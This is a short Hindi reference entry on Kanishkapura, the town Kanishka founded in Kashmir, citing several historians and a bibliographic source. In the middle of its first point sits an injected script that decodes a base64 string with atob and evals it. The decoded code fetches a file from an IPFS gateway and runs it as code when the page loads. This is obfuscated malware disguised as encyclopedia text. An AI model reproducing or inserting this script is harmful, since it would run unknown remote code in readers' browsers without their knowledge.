कनिष्कपुर
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- कनिष्क द्वारा बसाये गये कनिष्कपुर जो स्टाइन और स्मिथ के अनुसार, जो झेलम और बारामूला से श्रीनगर जाने वाली सड़क पर बारामूल से दस मील
(लगभग 16 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>दक्षिण की ओर स्थित है, कानिसपुर हैं।
- कनिंघम के अनुसार यह नगर श्रीनगर के समीप था।
- रायचौधरी का कहना है कि यह नगर आरा अभिलेख में उल्लिखित कनिष्क द्वारा बसाया गया नगर था।
- बौद्ध अनुश्रुति के अनुसार पाटलिपुत्र से आये बौद्ध आचार्य अश्वघोष को इसी नगर में ठहराया गया था।
- कल्हण ने भी इस नगर का उल्लेख कनिष्क के संदर्भ में किया है।
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टीका टिप्पणी और संदर्भ
- ऐतिहासिक स्थानावली | पृष्ठ संख्या= 131| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
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